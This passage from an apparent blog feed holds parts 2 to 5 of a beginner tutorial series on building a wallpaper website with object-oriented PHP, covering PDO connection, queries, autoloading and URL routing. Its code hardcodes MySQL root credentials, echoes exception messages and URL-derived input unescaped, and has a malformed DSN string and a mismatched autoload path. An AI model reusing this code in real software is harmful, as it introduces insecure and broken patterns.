            &amp;lt;textarea class="col-12 " name="text" id="text" placeholder="Comment" &amp;gt;&amp;lt;/textarea&amp;gt;
            &amp;lt;/div&amp;gt;
            &amp;lt;div class="row p-2"&amp;gt;
            &amp;lt;button type="submit" class="btn btn-primary " &amp;gt;Submit Comment&amp;lt;/button&amp;gt;
            &amp;lt;/div&amp;gt;
        &amp;lt;/form&amp;gt;
        &amp;lt;/div&amp;gt;
    &amp;lt;/div&amp;gt;
    &amp;lt;br&amp;gt;
    &amp;lt;br&amp;gt;
    &amp;lt;br&amp;gt;
    &amp;lt;script
        src="https://code.jquery.com/jquery-3.3.1.js"
        integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60="
        crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script
        src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.6/umd/popper.min.js"
        integrity="sha384-wHAiFfRlMFy6i5SRaxvfOCifBUQy1xHdJ/yoi7FRNXMRBu5WHdZYu1hA6ZOblgut"
        crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;script
        src="https://stackpath.bootstrapcdn.com/bootstrap/4.2.1/js/bootstrap.min.js"
        integrity="sha384-B0UglyR+jN6CkvvICOB2joaf5I4l3gm9GU6Hc1og6Ls7i6U/mkkaduKaBhlAXv9k"
        crossorigin="anonymous"&amp;gt;&amp;lt;/script&amp;gt;
    &amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating A Real Website with PHP Object Oriented part 5 URL Handling, Views and website behavior</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-5-url-handling-views-and-website-behavior-20.html" rel="alternate"></link><published>2020-08-24T12:29:00+00:00</published><updated>2020-08-24T12:29:00+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-24:/articles/creating-a-real-website-with-php-object-oriented-part-5-url-handling-views-and-website-behavior-20.html</id><summary type="html">&lt;p&gt;We will decide how our website will Handle the URLS, to comply with Google  recommendations for building the urls, we will not use GET parameters, instead  we will build our own logic to handle the parts of our URLS&lt;/p&gt;</summary><content type="html">&lt;p&gt;We will decide how our website will Handle the URLS, to comply with Google
recommendations for building the urls, we will not use GET parameters, instead
we will build our own logic to handle the parts of our URLS.&lt;br&gt;
First we will list all possible urls that our website will have and then
decide how to handle them. I decided that my website will only respond to these
URLS:&lt;/p&gt;
&lt;pre style="overflow-x:auto;"&gt;
https://mywebsite.com/
https://mywebsite.com/Wallpapers
https://mywebsite.com/Wallpapers/&lt;span style="color:green;"&gt;All&lt;/span&gt;
https://mywebsite.com/Wallpapers/&lt;span style="color:green;"&gt;All&lt;/span&gt;/&lt;span style="color:red;"&gt;1&lt;/span&gt;
https://mywebsite.com/Wallpapers/&lt;span style="color:green;"&gt;Full&lt;/span&gt;/&lt;span style="color:red;"&gt;1&lt;/span&gt;
https://mywebsite.com/Wallpapers/&lt;span style="color:green;"&gt;nature&lt;/span&gt;/&lt;span style="color:red;"&gt;1&lt;/span&gt;
https://mywebsite.com/Wallpapers/&lt;span style="color:green;"&gt;nature&lt;/span&gt;/&lt;span style="color:red;"&gt;1&lt;/span&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;the only relevant parts of our urls are the green and red parts, the "All"
and "Full" are just keywords to identify whether we are browsing all Wallpapers
in our database or showing a single wallpaper. any other word or words will be
considered a search query. like "nature". The red part of our urls should always
be numbers, they will represent the page number or in the case of "Full" the
number will be the wallpaper id.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;Simple enough we just gonna have to do a simple switch on the green part and
check if the red part exists and it is a number. But first lets create a class
that will handle viewing the html code, since at this point we are dealing with
things that are not database related. the following class will be considered
like an abstract class and the parent of all other "Views" classes that we will
create for our website:
&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

class Views {
    protected const ONE = 1;
    protected const ALL = 2;
    protected const SEARCH = 3;
    protected $toview;
    protected $db;
    protected function one(){}
    protected function all(){}
    protected function search(){}
    public function view(){
        switch($this-&gt;toview){
            case self::ONE:
                $this-&gt;one();
                break;
            case self::ALL:
                $this-&gt;all();
                break;
            case self::SEARCH:
                $this-&gt;search();
                break;
        }
    }
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The three constants &lt;strong style="color:red;"&gt;ONE&lt;/strong&gt;,  &lt;strong
style="color:red;"&gt;All&lt;/strong&gt; and  &lt;strong style="color:red;"&gt;SEARCH&lt;/strong&gt; will
be used to decide what we are viewing, ie which function we should call, the 3
functions that we declared and not defined just yet one(), all(), and search().&lt;br&gt;
The Only public function we created is view(). the code is clear enough to
understand that the member variable  &lt;strong style="color:green;"&gt;toview&lt;/strong&gt;
will decide which function to call depending on its value. the other member
variable  &lt;strong style="color:green;"&gt;db&lt;/strong&gt; will be an instance to the
Wallpapers Class we created in the &lt;a
href="https://www.mosaid.xyz/Articles/18/Creating+A+Real+Website+with+PHP+object+oriented+-+part+4+-+Autoload+and+Register+Classes"&gt;previous&lt;/a&gt;
tutorial.&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The next class will inherit our "Views" Class . it is the class the will be
doing the viewing:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

class ViewWallpapers extends Views {
    private $id = -1;
    private $searchquery;
    private $perPage = 24;
    private $first;
    public function __construct(){

        $urlparts = array_slice(explode("/",$_SERVER["REQUEST_URI"]),2);

        //here goes the logic to handle the parts of our URLS and assign
        //values to our class member variables accordingly
    }
    protected function one(){
        echo "viewing the wallpaper with id $this-&gt;id";
    }
    protected function all(){
        echo "showing all wallpapers starting from $this-&gt;first";
    }
    protected function search(){
        echo "showing wallpapers tagged $this-&gt;searchquery starting from $this-&gt;first";
    }
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;In the ViewWallpapers Class we define the $id that will hold the id of a
single Wallpaper that will be viewed by one() function. the $searchquery will be
used to search() the wallpapers. the 3 functions are inherited from "Views" and
defined here. later they will be used to print the html code of our website.
&lt;br&gt;
The constructor function will get the URL parts and store the relevant parts
that we talked about in the beginning of this tutorial. using the REQUEST_URI
from the $_SERVER variable.
&lt;br&gt;
the next lines of code will be added to the __construct function above and
everything will fall into place:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

public function __construct(){
    $urlparts = array_slice(explode("/",$_SERVER["REQUEST_URI"]),2);
    if(empty($urlparts[0])){
        $this-&gt;toview = self::ALL;
        $this-&gt;first = 0;
    }else{
        switch($urlparts[0]){
            case "All":
                $this-&gt;toview = self::ALL;
                if(!empty($urlparts[1]) &amp;&amp; ctype_digit($urlparts[1])) $this-&gt;first = $urlparts[1];
                else $this-&gt;first = 0;
                break;
            case "Full":
                if(!empty($urlparts[1]) &amp;&amp; ctype_digit($urlparts[1])){
                    $this-&gt;id = $urlparts[1];
                    $this-&gt;toview = self::ONE;
                }
                break;
            default:
                $this-&gt;toview = self::SEARCH;
                if(!empty($urlparts[1]) &amp;&amp; ctype_digit($urlparts[1])) $this-&gt;first = $urlparts[1];
                else $this-&gt;first = 0;
                $this-&gt;searchquery = urldecode($urlparts[0]);
                break;
        }
    }
    $this-&gt;db = new Wallpapers();
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;with this we will be ready to start adding some html to our code. the next
video will illustrate this tutorial as always. see you in the next
tutorial.&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;div class="framediv" &gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/OKjQOPiWNtw" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating A Real Website with PHP object oriented - part 4 - Autoload and Register Classes</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-4-autoload-and-register-classes-18.html" rel="alternate"></link><published>2020-08-22T10:52:43+00:00</published><updated>2020-08-22T10:52:43+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-22:/articles/creating-a-real-website-with-php-object-oriented-part-4-autoload-and-register-classes-18.html</id><summary type="html">&lt;p&gt;Every php file you create must be included at some point before you use it. but as the website becomes bigger and the number of files increases, it becomes extremely difficult to keep track of the files. if you can't organize your code you might find yourself including the same file multiple times. and the code  itself will look ugly and might not be resources friendly&lt;/p&gt;</summary><content type="html">&lt;p&gt;Every php file you create must be included at some point before you use it.
but as the website becomes bigger and the number of files increases, it becomes
extremely difficult to keep track of the files. if you can't organize your code
you might find yourself including the same file multiple times. and the code
itself will look ugly and might not be resources friendly&lt;/p&gt;
&lt;p&gt; In this tutorial we will introduce the concept of autoloading and registring
classes only when needed. A class file will be included only when we are trying
to instansiate it by creating an object from it. The include procedure will be
neat and elegant. all because of the php function
&lt;strong  style="color:red;"&gt;spl_autoload_register&lt;/strong&gt;. IT was introduced since PHP 5.1 . it
takes a function as a parameter, this function will hold the include statements
we need. and returns true on success otherwise it returns false.&lt;/p&gt;
&lt;p&gt;First we define our autoload function, it is in this part of our code that
our &lt;strong  style="color:red;"&gt;class files naming convention &lt;/Strong&gt; will become helpful, as it
will simplify the process of including the files. as we decided earlier all our
class files will be either in "classes" or "views" directories. so the included
file will look like :&lt;br&gt;&lt;/p&gt;
&lt;div style="padding-left:20px;"&gt;
"resources/&lt;span style="color:green;"&gt;classes&lt;/span&gt;/&lt;span style="color:red;"&gt;$classname&lt;/span&gt;.class.php"
&lt;br&gt;
"resources/&lt;span style="color:green;"&gt;views&lt;/span&gt;/&lt;span style="color:red;"&gt;$classname&lt;/span&gt;.class.php"
&lt;br&gt;
&lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h2&gt;Autoloading And registring classes with spl_autoload_register&lt;/h2&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

//index.php file:
spl_autoload_register('myautoloader');
function myautoloader($classname){
    $fname = "sources/classes/$classname.class.php";
    if(file_exists($fname)){
        include_once $fname;
        return true;
    }
    $fname = "sources/views/$classname.class.php";
    if(file_exists($fname)){
        include_once $fname;
        return true;
    }
    return false;
}

&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;With this code; we will no longer worry about including any class file in any
part of our project. we can even use any class in any other class and it will be
loaded and registred as I illustrated in the following video:&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;div class="framediv" &gt;
    &lt;iframe width="560" height="315" src="https://www.youtube.com/embed/tfD-thtK_NQ" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating A Real Website with php object oriented - part 3 - The Wallpapers Database and fetching Data</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-3-the-wallpapers-database-and-fetching-data-17.html" rel="alternate"></link><published>2020-08-19T14:52:22+00:00</published><updated>2020-08-19T14:52:22+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-19:/articles/creating-a-real-website-with-php-object-oriented-part-3-the-wallpapers-database-and-fetching-data-17.html</id><summary type="html">&lt;p&gt;in this 3rd part of our series of tutorials about php programming language,  now we are starting to fetch data from our database and we are getting closer to  a functioning website.&lt;/p&gt;</summary><content type="html">&lt;p&gt;in this 3rd part of our series of tutorials about php programming language,
now we are starting to fetch data from our database and we are getting closer to
a functioning website.&lt;/p&gt;
&lt;p&gt;Lets start by creating a class "Wallpapers" and make it extend or inherit the
Database class we created in the &lt;a href="https://www.mosaid.xyz/article/16/Creating+a+real+website+with+PHP+object+oriented+-+part+2+-+connecting+to+mysql+server"&gt;previous&lt;/a&gt;  tutorial, we will have the constructor of our class call its
parent's constructor to make a server connection; then make a query to use the
"Wallpapers" Database. like so:&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

    class Wallpapers extends Database {
        private $table = "wallpapers";
        private $tagtable = "tags";
        private $walltags = "wallpaperstags";
        public function __construct(){
            parent::__construct();
            $this-&amp;gt;pdo-&amp;gt;query("use Wallpapers");
            $this-&amp;gt;pdo-&amp;gt;query("set names 'utf8' ");
        }
    }

&lt;/code&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;The second query is just to make sure we render the characters in our
database correctly by using the UTF-8 character encoding. By now we are ready to
start fetching data from our Database. We just have to think of the ways we will
use this data. in our case. there are 3 ways we can use the Wallpapers
Database:&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;viewing a single wallpaper.&lt;/li&gt;
    &lt;li&gt;browsing all the wallpapers&lt;/li&gt;
    &lt;li&gt;searching for wallpapers by a keyword or a tag&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We have to create 3 functions/methods in our Wallpapers class to do just that. like so:&lt;/p&gt;
&lt;pre class=" language-php"&gt;
&lt;code class=" language-php"&gt;

    public function one($id){
        $query = "select * from $this-&amp;gt;table where id = ? ";
        $sql = $this-&amp;gt;pdo-&amp;gt;prepare($query);
        $sql-&amp;gt;execute([$id]);
        return $sql-&amp;gt;fetch();
    }
    public function all($first,$nrows){
        $query = "select * from $this-&amp;gt;table limit :first, :nrows";
        $sql = $this-&amp;gt;pdo-&amp;gt;prepare($query);
        $sql-&amp;gt;bindValue(':first',(int) $first,PDO::PARAM_INT);
        $sql-&amp;gt;bindValue(':nrows',(int) $nrows,PDO::PARAM_INT);
        $sql-&amp;gt;execute();
        return $sql-&amp;gt;fetchAll();
    }
    public function search($tag,$first,$nrows){
        $query = " select t1.* , ( (1.3 * (MATCH(t3.tagname) AGAINST ( :tag IN BOOLEAN MODE))) + (0.6 * (MATCH(t3.text) AGAINST ( :tag IN BOOLEAN MODE)))) AS relevance
            from $this-&amp;gt;table t1
            join $this-&amp;gt;walltags t2 on t1.id = t2.id
            join $this-&amp;gt;tagtable t3 on t3.id = t2.tagid
            where  MATCH(t3.tagname,t3.text) AGAINST ( :tag IN BOOLEAN MODE)
            order by relevance
            limit :first, :nrows ";
        $sql = $this-&amp;gt;pdo-&amp;gt;prepare($query);
        $sql-&amp;gt;bindValue(':first',(int) $first,PDO::PARAM_INT);
        $sql-&amp;gt;bindValue(':nrows',(int) $nrows,PDO::PARAM_INT);
        $sql-&amp;gt;bindValue(':tag',(string) $tag,PDO::PARAM_STR);
        $sql-&amp;gt;execute();
        return $sql-&amp;gt;fetchAll();
    }

&lt;/code&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;p&gt;the one() and all() methods are straightforward, we are either requesting one
wallpaper by its id, or requesting all wallpapers and limiting the number of
rows we select, as we intend to browse the wallpapers in pages. &lt;br&gt;
But in the search() function we query the wallpapers by keywords defined as tags
in our database. we also order the results by their relevance to the search
keyword while giving a priority to the tagname over the tag text.&lt;/p&gt;
&lt;p&gt;to make it easy for you to follow these tutorials, I offer you the 3 tables
of the Wallpapers database. the tags table may prove valuable to you in other
projects as it contains thousands of keywords and their related text:&lt;/p&gt;
&lt;p&gt;&lt;br&gt;&lt;br&gt;
&lt;a href="/static/downloads/WallpapersDatabase.zip"   target="_blank" rel="noopener noreferrer"
    class="btn btn-info btn-sm" &gt;DOWNLOAD Database&lt;/a&gt;
&lt;br&gt;&lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;&lt;br&gt;&lt;/p&gt;
&lt;h6&gt;The video as usual:&lt;/h6&gt;
&lt;p&gt;&lt;br&gt;
&lt;br&gt;&lt;/p&gt;
&lt;div class="framediv" &gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/66i5w3QPVtY" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating a real website with PHP object oriented - part 2 - connecting to mysql server</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-2-connecting-to-mysql-server-16.html" rel="alternate"></link><published>2020-08-17T23:25:57+00:00</published><updated>2020-08-17T23:25:57+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-17:/articles/creating-a-real-website-with-php-object-oriented-part-2-connecting-to-mysql-server-16.html</id><summary type="html">&lt;p&gt;In this tutorial we will make a class that will make the connection to our sql server. and all other classes will inherit it and extend it for more features. For all our database operations we will use prepared statements as they are more secure against mysql injection.&lt;/p&gt;</summary><content type="html">&lt;p&gt;In the &lt;a href="/Articles/15/Creating+a+real+website+with+PHP+object+oriented+-+part+1+the+site+layout+and+htaccess"&gt;previous&lt;/a&gt; 
Article we talked about a few things to do when you are trying to make the first steps to make your website. In this tutorial we will make a class that will make the connection to our
sql server. and all other classes will inherit it and extend it for mor features&lt;/p&gt;

&lt;p&gt;For all our database operations we will use prepared statements as they are more secure against
mysql injection. we will set the fetch mode for our PDO connection to allways be ASSOC as in
associative arrays . so when we are selecting id,name,url, the data will be fetched in associative
arrays as $row["id"], $row["name"], and  $row["url"]; this way we won't confuse the rows when using
them.&lt;/p&gt;

&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;p&gt;We will follow a naming convention for our classes to make it easy for us to autoload them into
our index.php file in a simple and elegant way that I will show you in a later tutorial.&lt;/p&gt;

&lt;h2&gt;MAKING A DATABASE CONNECTION&lt;/h2&gt;
&lt;p&gt;the procedure is fairily simple:&lt;br&gt;
Lets create our first php class file: in our resources/classes directory . we create
&lt;strong&gt;Database.class.php&lt;/strong&gt; File and we write the following php code:&lt;/p&gt;

&lt;pre class=" language-php" style="background-color:black;"&gt;
&lt;code class=" language-php" style="background-color:black;" &gt;
//resources/classes/Database.class.php file
    class Database {
        protected $pdo;
        private $host="localhost";
        private $user="root";
        private $password="1313";

        public function __construct(){
            try{
                $this-&gt;pdo = new PDO("mysql:host".$this-&gt;host,$this-&gt;user,$this-&gt;password);
                $this-&gt;pdo-&gt;setAttribute(PDO::ATTR_DEFAULT_FETCH_MODE,PDO::FETCH_ASSOC);
                $this-&gt;pdo-&gt;setAttribute(PDO::ATTR_ERRMODE,PDO::ERRMODE_EXCEPTION);
                echo "we are connected";
            }catch(PDOException $e){
                echo $e-&gt;getMessage();
            }
        }
    }
&lt;/code&gt;
&lt;/pre&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;
&lt;p&gt;the setAttribute methods will set the fetch mode to ASSOC and the error mode
to exception, because sometimes we need to try to execute a PDO statement and we
expect it to throw a PDO EXCEPTION like when inserting a value and we don't know
it already exists, this way if the exception is thrown, we can then make a
different query ( an UPDATE query for instance ). &lt;/p&gt;

&lt;p&gt;
    and now we test our connection in our index.php file :
&lt;/p&gt;
&lt;pre class=" language-php" style="background-color:black;"&gt;
&lt;code class=" language-php" style="background-color:black;" &gt;
//index.php file
require_once "sources/classes/Database.class.php";
$d = new Database();
&lt;/code&gt;
&lt;/pre&gt;
&lt;p&gt;IF the "we are connected" message shows up then everything is OK and we are ready for the next step: a much bigger class to connect to our "wallpapers" database, this will be the subject of our next tutorial&lt;br&gt;
In the mean time, As usual, here the video illustrating this tutorial: &lt;/p&gt;
&lt;div&gt;
&lt;script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"&gt;&lt;/script&gt;
&lt;!-- viewarticle --&gt;
&lt;ins class="adsbygoogle"
    style="display:block"
    data-ad-client="ca-pub-9705701149690337"
    data-ad-slot="7092311090"
    data-ad-format="auto"
    data-full-width-responsive="true"&gt;&lt;/ins&gt;
&lt;script&gt;
    (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt; &lt;/div&gt;

&lt;div class="framediv" &gt;
&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/Ruu4T7KOwXA" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;
&lt;/div&gt;

&lt;!-- This markdown file was generated automatically from the DB --&gt;</content><category term="Programming"></category><category term="php"></category><category term="web design"></category><category term="web development"></category><category term="angular"></category><category term="javascript"></category><category term="javascript developer"></category><category term="frontend web developer"></category><category term="html coding"></category><category term="css3"></category><category term="css"></category><category term="css3 animation"></category><category term="html5"></category><category term="reactjs"></category><category term="software developer"></category><category term="full stack developer"></category><category term="user interface designer"></category><category term="web developers life"></category><category term="web developers"></category><category term="coding life"></category><category term="coding days"></category><category term="python developer"></category><category term="website design"></category><category term="php object"></category></entry><entry><title>Creating a real website with PHP object oriented - part 1 the site layout and htaccess</title><link href="https://mosaid.xyz/articles/creating-a-real-website-with-php-object-oriented-part-1-the-site-layout-and-htaccess-15.html" rel="alternate"></link><published>2020-08-16T16:57:11+00:00</published><updated>2020-08-16T16:57:11+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2020-08-16:/articles/creating-a-real-website-with-php-object-oriented-part-1-the-site-layout-and-htaccess-15.html</id><summary type="html">&lt;p&gt;For this tutorial, I assume that you have a basic knowledge of php and classes and objects, the programming language 